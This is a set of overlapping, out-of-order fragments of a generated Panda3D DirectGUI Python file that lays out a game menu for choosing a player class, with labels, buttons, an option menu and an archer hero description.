"popupMarker_hpr=LVecBase3f(0, 0, 0), popupMarker_pos=LPoint3f(2.7125, 0, 0.31875), popupMarker_relief=2, popupMarker_scale=LVecBase3f(0.4, 0.4, 0.4),",
"parent=self.frmPlayerInfo, ) self.lblHealthValue.setTransparency(0) self.lblAttackValue = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0),",
"0.1), text='Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
"0, 0), pos=LPoint3f(0.765, 0, 0), relief=3, parent=self.frmMain, ) self.frmPlayerInfo.setTransparency(0) self.lblInfoHeader",
"the first-strike', text_align=TextNode.A_left, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
"text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttack.setTransparency(0) self.lblHealthValue = DirectLabel( frameColor=(0.8, 0.8, 0.8,",
"self.frmMain = DirectFrame( frameColor=(1, 1, 1, 1), frameSize=(-1.777778, 1.77777778, -1.1638,",
"frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.285),",
"pos=LPoint3f(0.325, 0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Cancel', text_align=TextNode.A_center, text_scale=(1, 1),",
"self.lblAttack.setTransparency(0) self.lblHealthValue = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0,",
"self.btnCancel.setTransparency(0) self.frmPlayerInfo = DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1, 1, 1),",
"0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_start\"], ) self.pg13803.setTransparency(0) self.pg5219 = DirectLabel(",
"text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0,",
"0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.28, 0, -0.1), scale=LVecBase3f(0.1, 0.1,",
"LVecBase4f, TextNode ) class GUI: def __init__(self, rootParent=None): self.frmMain =",
"0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.12, 0, 0.31), scale=LVecBase3f(0.1,",
"self.lblHealthValue = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0),",
"LVecBase3f, LVecBase4f, TextNode ) class GUI: def __init__(self, rootParent=None): self.frmMain",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='Start', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0,",
"0), pos=LPoint3f(0.2, 0, 0.005), scale=LVecBase3f(0.1, 0.1, 0.1), text='item1', cancelframe_frameSize=(-1, 1,",
"0), popupMenu_pos=LPoint3f(0, 0, 0), popupMenu_relief='raised', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0),",
"pos=LPoint3f(0, 0, 0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Info', text_align=TextNode.A_center, text_scale=(1, 1),",
"-0.1), scale=LVecBase3f(0.1, 0.1, 0.1), text='Health', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0),",
"= DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.6, 0, 0.02), scale=LVecBase3f(0.1, 0.1,",
"0.1), text='item1', cancelframe_frameSize=(-1, 1, -1, 1), cancelframe_hpr=LVecBase3f(0, 0, 0), cancelframe_pos=LPoint3f(0,",
"0, -0.285), scale=LVecBase3f(0.1, 0.1, 0.1), text='Attack', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0,",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.765, 0, 0), relief=3, parent=self.frmMain, ) self.frmPlayerInfo.setTransparency(0)",
"item_pos=LPoint3f(-0.075, 0, -0.75), item_text='item1', item0_text_align=TextNode.A_left, item0_text_scale=(1, 1), item0_text_pos=(0, 0), item0_text_fg=LVecBase4f(0,",
"-0.75), item_text='item1', item0_text_align=TextNode.A_left, item0_text_scale=(1, 1), item0_text_pos=(0, 0), item0_text_fg=LVecBase4f(0, 0, 0,",
"direct.gui.DirectOptionMenu import DirectOptionMenu from panda3d.core import ( LPoint3f, LVecBase3f, LVecBase4f,",
"DirectButton from direct.gui.DirectOptionMenu import DirectOptionMenu from panda3d.core import ( LPoint3f,",
"0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblInfoHeader.setTransparency(0) self.frmImageHero = DirectFrame( frameColor=(1,",
"0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.optionPlayerClass.setTransparency(0) self.btnCancel = DirectButton(",
"frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.28, 0, -0.1),",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_start\"], )",
"-*- coding: utf-8 -*- # This file was created using",
"coding: utf-8 -*- # This file was created using the",
"frameSize=(-0.15, 0.15, -0.2, 0.2), hpr=LVecBase3f(0, 0, 0), image='/home/fireclaw/workspace/Ankandora/AnkandoraLight/design/guiGraphics/heroArcher.png', pos=LPoint3f(-0.275, 0,",
"pos=LPoint3f(-0.28, 0, -0.1), scale=LVecBase3f(0.1, 0.1, 0.1), text='Health', text_align=TextNode.A_center, text_scale=(0.7, 0.7),",
"0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_start\"], ) self.pg13803.setTransparency(0) self.pg5219 =",
"0.195), image_scale=LVecBase3f(0.15, 1, 0.2), image_pos=LPoint3f(0, 0, 0), parent=self.frmPlayerInfo, ) self.frmImageHero.setTransparency(1)",
"= DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.35, 0, -0.45), scale=LVecBase3f(0.1, 0.1,",
"0, 0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, )",
") self.frmSinglePlayerCreateGame.setTransparency(0) self.pg703 = DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0,",
"0.1, 0.1), text='7', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0, 0,",
"0.1), text='7', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
"self.frmImageHero = DirectFrame( frameColor=(1, 1, 1, 1), frameSize=(-0.15, 0.15, -0.2,",
"0, -0.36), scale=LVecBase3f(0.1, 0.1, 0.1), text='4', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0,",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_start\"], ) self.pg13803.setTransparency(0)",
"0), cancelframe_relief=None, item_frameSize=(0.07500000298023224, 2.4125001430511475, -0.11250001192092896, 0.75), item_hpr=LVecBase3f(0, 0, 0), item_pos=LPoint3f(-0.075,",
"frameSize=(-1.777778, 1.77777778, -1.1638, 1.1638), hpr=LVecBase3f(0, 0, 0), image='assets/menu/Background.png', pos=LPoint3f(0, 0,",
"# -*- coding: utf-8 -*- # This file was created",
"cancelframe_hpr=LVecBase3f(0, 0, 0), cancelframe_pos=LPoint3f(0, 0, 0), cancelframe_relief=None, item_frameSize=(0.07500000298023224, 2.4125001430511475, -0.11250001192092896,",
"0.1, 0.1), text='Player Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0,",
"parent=self.frmMain, ) self.frmSinglePlayerCreateGame.setTransparency(0) self.pg703 = DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0,",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_cancel\"], ) self.btnCancel.setTransparency(0)",
"0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.36), scale=LVecBase3f(0.1, 0.1,",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.2, 0, 0.005), scale=LVecBase3f(0.1, 0.1, 0.1), text='item1',",
"class GUI: def __init__(self, rootParent=None): self.frmMain = DirectFrame( frameColor=(1, 1,",
"text='Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"text_wordwrap=10.0, parent=self.frmPlayerInfo, ) self.lblClassDescription.setTransparency(0) self.lblHealth = DirectLabel( frameColor=(0.8, 0.8, 0.8,",
"0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg703.setTransparency(0) self.pg13803 = DirectButton( hpr=LVecBase3f(0,",
"DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.325, 0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1),",
"DirectFrame( frameColor=(1, 1, 1, 1), frameSize=(-1.777778, 1.77777778, -1.1638, 1.1638), hpr=LVecBase3f(0,",
"0, 0), pos=LPoint3f(-0.35, 0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Start', text_align=TextNode.A_center,",
"0.1, 0.1), text='4', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"image_scale=LVecBase3f(1.77778, 1, 1.1638), image_pos=LPoint3f(0, 0, 0), parent=rootParent, ) self.frmMain.setTransparency(0) self.frmSinglePlayerCreateGame",
"text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg703.setTransparency(0) self.pg13803 = DirectButton( hpr=LVecBase3f(0, 0, 0),",
"0, 0), pos=LPoint3f(-0.275, 0, -0.36), scale=LVecBase3f(0.1, 0.1, 0.1), text='4', text_align=TextNode.A_center,",
"0, -0.1), scale=LVecBase3f(0.1, 0.1, 0.1), text='Health', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0,",
"DirectOptionMenu from panda3d.core import ( LPoint3f, LVecBase3f, LVecBase4f, TextNode )",
"0), pos=LPoint3f(0.765, 0, 0), relief=3, parent=self.frmMain, ) self.frmPlayerInfo.setTransparency(0) self.lblInfoHeader =",
"parent=self.frmPlayerInfo, ) self.lblHealth.setTransparency(0) self.lblAttack = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0),",
"0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg5219.setTransparency(0) self.optionPlayerClass = DirectOptionMenu( items=['item1'], frameSize=(0.07500000298023224,",
"0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0, 0.45), scale=LVecBase3f(0.1,",
"0, 0), text_wordwrap=10.0, parent=self.frmPlayerInfo, ) self.lblClassDescription.setTransparency(0) self.lblHealth = DirectLabel( frameColor=(0.8,",
"text='Player Class', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
"1), frameSize=(-1.777778, 1.77777778, -1.1638, 1.1638), hpr=LVecBase3f(0, 0, 0), image='assets/menu/Background.png', pos=LPoint3f(0,",
"0), pos=LPoint3f(0.325, 0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Cancel', text_align=TextNode.A_center, text_scale=(1,",
"0, 0), pos=LPoint3f(-0.6, 0, 0.02), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Class',",
"0), parent=self.frmPlayerInfo, ) self.frmImageHero.setTransparency(1) self.lblClassDescription = DirectLabel( frameColor=(0.8, 0.8, 0.8,",
"DirectOptionMenu( items=['item1'], frameSize=(0.07500000298023224, 3.012500149011612, -0.11250001192092896, 0.75), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.2,",
"= DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.28,",
"self.lblAttackValue.setTransparency(0) def show(self): self.frmMain.show() def hide(self): self.frmMain.hide() def destroy(self): self.frmMain.destroy()",
"0.5, -0.55, 0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.765, 0, 0), relief=3,",
"0), relief=3, parent=self.frmMain, ) self.frmPlayerInfo.setTransparency(0) self.lblInfoHeader = DirectLabel( frameColor=(0.8, 0.8,",
"0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttack.setTransparency(0) self.lblHealthValue = DirectLabel( frameColor=(0.8, 0.8,",
"pos=LPoint3f(0.765, 0, 0), relief=3, parent=self.frmMain, ) self.frmPlayerInfo.setTransparency(0) self.lblInfoHeader = DirectLabel(",
"0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.285), scale=LVecBase3f(0.1, 0.1, 0.1),",
"import DirectFrame from direct.gui.DirectLabel import DirectLabel from direct.gui.DirectButton import DirectButton",
"item_hpr=LVecBase3f(0, 0, 0), item_pos=LPoint3f(-0.075, 0, -0.75), item_text='item1', item0_text_align=TextNode.A_left, item0_text_scale=(1, 1),",
"0, 0.31), scale=LVecBase3f(0.1, 0.1, 0.1), text='The archer shoots from afar",
"-0.2, 0.2), popupMarker_hpr=LVecBase3f(0, 0, 0), popupMarker_pos=LPoint3f(2.7125, 0, 0.31875), popupMarker_relief=2, popupMarker_scale=LVecBase3f(0.4,",
"items=['item1'], frameSize=(0.07500000298023224, 3.012500149011612, -0.11250001192092896, 0.75), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.2, 0,",
"0, 0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0,",
"DirectFrame( frameColor=(1, 1, 1, 1), frameSize=(-0.15, 0.15, -0.2, 0.2), hpr=LVecBase3f(0,",
"0.1), text='The archer shoots from afar and gains the first-strike',",
"panda3d.core import ( LPoint3f, LVecBase3f, LVecBase4f, TextNode ) class GUI:",
"text_scale=(0.7, 0.7), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0,",
"text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0,",
"text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttackValue.setTransparency(0) def show(self): self.frmMain.show() def hide(self): self.frmMain.hide()",
"0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.28, 0, -0.1), scale=LVecBase3f(0.1, 0.1, 0.1),",
"-1, 1), cancelframe_hpr=LVecBase3f(0, 0, 0), cancelframe_pos=LPoint3f(0, 0, 0), cancelframe_relief=None, item_frameSize=(0.07500000298023224,",
"1, 1), frameSize=(-0.5, 0.5, -0.55, 0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.765,",
"from direct.gui.DirectButton import DirectButton from direct.gui.DirectOptionMenu import DirectOptionMenu from panda3d.core",
"0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Start', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0,",
"text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=10.0, parent=self.frmPlayerInfo,",
"direct.gui.DirectButton import DirectButton from direct.gui.DirectOptionMenu import DirectOptionMenu from panda3d.core import",
"0), pos=LPoint3f(-0.275, 0, -0.36), scale=LVecBase3f(0.1, 0.1, 0.1), text='4', text_align=TextNode.A_center, text_scale=(0.6,",
"3.012500149011612, -0.11250001192092896, 0.75), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.2, 0, 0.005), scale=LVecBase3f(0.1,",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.optionPlayerClass.setTransparency(0) self.btnCancel",
"= DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0,",
"0, 0, 1), item0_text_bg=LVecBase4f(0, 0, 0, 0), item0_text_wordwrap=None, popupMarker_frameSize=(-0.5, 0.5,",
"frameSize=(0.07500000298023224, 3.012500149011612, -0.11250001192092896, 0.75), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.2, 0, 0.005),",
"text='The archer shoots from afar and gains the first-strike', text_align=TextNode.A_left,",
"1), item0_text_bg=LVecBase4f(0, 0, 0, 0), item0_text_wordwrap=None, popupMarker_frameSize=(-0.5, 0.5, -0.2, 0.2),",
"( LPoint3f, LVecBase3f, LVecBase4f, TextNode ) class GUI: def __init__(self,",
"0.65, -0.55, 0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.425, 0, 0), relief=5,",
"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.optionPlayerClass.setTransparency(0)",
"utf-8 -*- # This file was created using the DirectGUI",
"from direct.gui.DirectFrame import DirectFrame from direct.gui.DirectLabel import DirectLabel from direct.gui.DirectButton",
"1, 1, 1), frameSize=(-0.5, 0.5, -0.55, 0.55), hpr=LVecBase3f(0, 0, 0),",
"0, 0.425), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Info', text_align=TextNode.A_center, text_scale=(1, 1),",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='7', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0,",
") self.pg13803.setTransparency(0) self.pg5219 = DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.6, 0,",
"0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttackValue.setTransparency(0) def show(self): self.frmMain.show() def hide(self):",
"1.77777778, -1.1638, 1.1638), hpr=LVecBase3f(0, 0, 0), image='assets/menu/Background.png', pos=LPoint3f(0, 0, 0),",
"0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealthValue.setTransparency(0) self.lblAttackValue = DirectLabel(",
"0), pos=LPoint3f(-0.425, 0, 0), relief=5, parent=self.frmMain, ) self.frmSinglePlayerCreateGame.setTransparency(0) self.pg703 =",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='item1', cancelframe_frameSize=(-1, 1, -1, 1), cancelframe_hpr=LVecBase3f(0, 0,",
"frameColor=(1, 1, 1, 1), frameSize=(-0.5, 0.5, -0.55, 0.55), hpr=LVecBase3f(0, 0,",
"0.1, 0.1), text='The archer shoots from afar and gains the",
"self.pg703.setTransparency(0) self.pg13803 = DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.35, 0, -0.45),",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblInfoHeader.setTransparency(0) self.frmImageHero",
"direct.gui.DirectFrame import DirectFrame from direct.gui.DirectLabel import DirectLabel from direct.gui.DirectButton import",
"popupMenu_hpr=LVecBase3f(0, 0, 0), popupMenu_pos=LPoint3f(0, 0, 0), popupMenu_relief='raised', text_align=TextNode.A_left, text_scale=(1, 1),",
"DirectLabel from direct.gui.DirectButton import DirectButton from direct.gui.DirectOptionMenu import DirectOptionMenu from",
"parent=self.frmSinglePlayerCreateGame, ) self.pg703.setTransparency(0) self.pg13803 = DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.35,",
"parent=self.frmMain, ) self.frmPlayerInfo.setTransparency(0) self.lblInfoHeader = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0),",
"0.1), text='Player Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"self.lblHealthValue.setTransparency(0) self.lblAttackValue = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0,",
"1), frameSize=(-0.65, 0.65, -0.55, 0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.425, 0,",
"0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttack.setTransparency(0) self.lblHealthValue = DirectLabel(",
"0, 0), pos=LPoint3f(-0.28, 0, -0.1), scale=LVecBase3f(0.1, 0.1, 0.1), text='Health', text_align=TextNode.A_center,",
"-0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Cancel', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0),",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealthValue.setTransparency(0) self.lblAttackValue =",
"Class', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealth.setTransparency(0) self.lblAttack =",
"1), frameSize=(-0.5, 0.5, -0.55, 0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.765, 0,",
"parent=self.frmPlayerInfo, ) self.lblClassDescription.setTransparency(0) self.lblHealth = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0),",
"frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.36),",
"command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_cancel\"], ) self.btnCancel.setTransparency(0) self.frmPlayerInfo = DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1,",
"0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.425, 0, 0), relief=5, parent=self.frmMain, )",
"0), pos=LPoint3f(-0.28, 0, -0.1), scale=LVecBase3f(0.1, 0.1, 0.1), text='Health', text_align=TextNode.A_center, text_scale=(0.7,",
"text='Cancel', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"self.frmPlayerInfo = DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1, 1, 1), frameSize=(-0.5,",
"popupMenu_relief='raised', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.optionPlayerClass.setTransparency(0) self.btnCancel = DirectButton( hpr=LVecBase3f(0,",
"self.optionPlayerClass.setTransparency(0) self.btnCancel = DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.325, 0, -0.45),",
"0, 0), pos=LPoint3f(-0.12, 0, 0.31), scale=LVecBase3f(0.1, 0.1, 0.1), text='The archer",
") class GUI: def __init__(self, rootParent=None): self.frmMain = DirectFrame( frameColor=(1,",
"0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.17), scale=LVecBase3f(0.1,",
"text='Player Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='Cancel', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0,",
"1, 1), frameSize=(-1.777778, 1.77777778, -1.1638, 1.1638), hpr=LVecBase3f(0, 0, 0), image='assets/menu/Background.png',",
"DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1, 1, 1), frameSize=(-0.65, 0.65, -0.55,",
"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttack.setTransparency(0)",
"parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_cancel\"], ) self.btnCancel.setTransparency(0) self.frmPlayerInfo = DirectFrame( borderWidth=(0.01, 0.01),",
"self.frmSinglePlayerCreateGame.setTransparency(0) self.pg703 = DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0, 0.425),",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttack.setTransparency(0) self.lblHealthValue",
"= DirectFrame( frameColor=(1, 1, 1, 1), frameSize=(-0.15, 0.15, -0.2, 0.2),",
"= DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275,",
"image_pos=LPoint3f(0, 0, 0), parent=rootParent, ) self.frmMain.setTransparency(0) self.frmSinglePlayerCreateGame = DirectFrame( borderWidth=(0.01,",
"0, 0), parent=self.frmPlayerInfo, ) self.frmImageHero.setTransparency(1) self.lblClassDescription = DirectLabel( frameColor=(0.8, 0.8,",
"import DirectLabel from direct.gui.DirectButton import DirectButton from direct.gui.DirectOptionMenu import DirectOptionMenu",
"pos=LPoint3f(0, 0, 0.425), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Info', text_align=TextNode.A_center, text_scale=(1,",
"0), pos=LPoint3f(-0.35, 0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Start', text_align=TextNode.A_center, text_scale=(1,",
"0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttack.setTransparency(0) self.lblHealthValue = DirectLabel( frameColor=(0.8,",
"cancelframe_frameSize=(-1, 1, -1, 1), cancelframe_hpr=LVecBase3f(0, 0, 0), cancelframe_pos=LPoint3f(0, 0, 0),",
"text='7', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_start\"], ) self.pg13803.setTransparency(0) self.pg5219 = DirectLabel( hpr=LVecBase3f(0, 0,",
"cancelframe_pos=LPoint3f(0, 0, 0), cancelframe_relief=None, item_frameSize=(0.07500000298023224, 2.4125001430511475, -0.11250001192092896, 0.75), item_hpr=LVecBase3f(0, 0,",
"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealth.setTransparency(0)",
"self.pg13803 = DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.35, 0, -0.45), scale=LVecBase3f(0.1,",
"text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0, 0, 0),",
"text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0,",
"from direct.gui.DirectLabel import DirectLabel from direct.gui.DirectButton import DirectButton from direct.gui.DirectOptionMenu",
"frameSize=(-0.5, 0.5, -0.55, 0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.765, 0, 0),",
") self.lblHealth.setTransparency(0) self.lblAttack = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0,",
"DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0,",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=10.0, parent=self.frmPlayerInfo, ) self.lblClassDescription.setTransparency(0) self.lblHealth =",
"0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealthValue.setTransparency(0) self.lblAttackValue = DirectLabel( frameColor=(0.8,",
"0.15, -0.2, 0.2), hpr=LVecBase3f(0, 0, 0), image='/home/fireclaw/workspace/Ankandora/AnkandoraLight/design/guiGraphics/heroArcher.png', pos=LPoint3f(-0.275, 0, 0.195),",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0, 0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Info',",
"0.1), text='4', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
"0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.36), scale=LVecBase3f(0.1,",
") self.btnCancel.setTransparency(0) self.frmPlayerInfo = DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1, 1,",
"GUI: def __init__(self, rootParent=None): self.frmMain = DirectFrame( frameColor=(1, 1, 1,",
"0.1), text='Player Class', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"0), pos=LPoint3f(-0.12, 0, 0.31), scale=LVecBase3f(0.1, 0.1, 0.1), text='The archer shoots",
"text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0,",
"0, 0), image_scale=LVecBase3f(1.77778, 1, 1.1638), image_pos=LPoint3f(0, 0, 0), parent=rootParent, )",
"direct.gui.DirectLabel import DirectLabel from direct.gui.DirectButton import DirectButton from direct.gui.DirectOptionMenu import",
"frameColor=(1, 1, 1, 1), frameSize=(-0.65, 0.65, -0.55, 0.55), hpr=LVecBase3f(0, 0,",
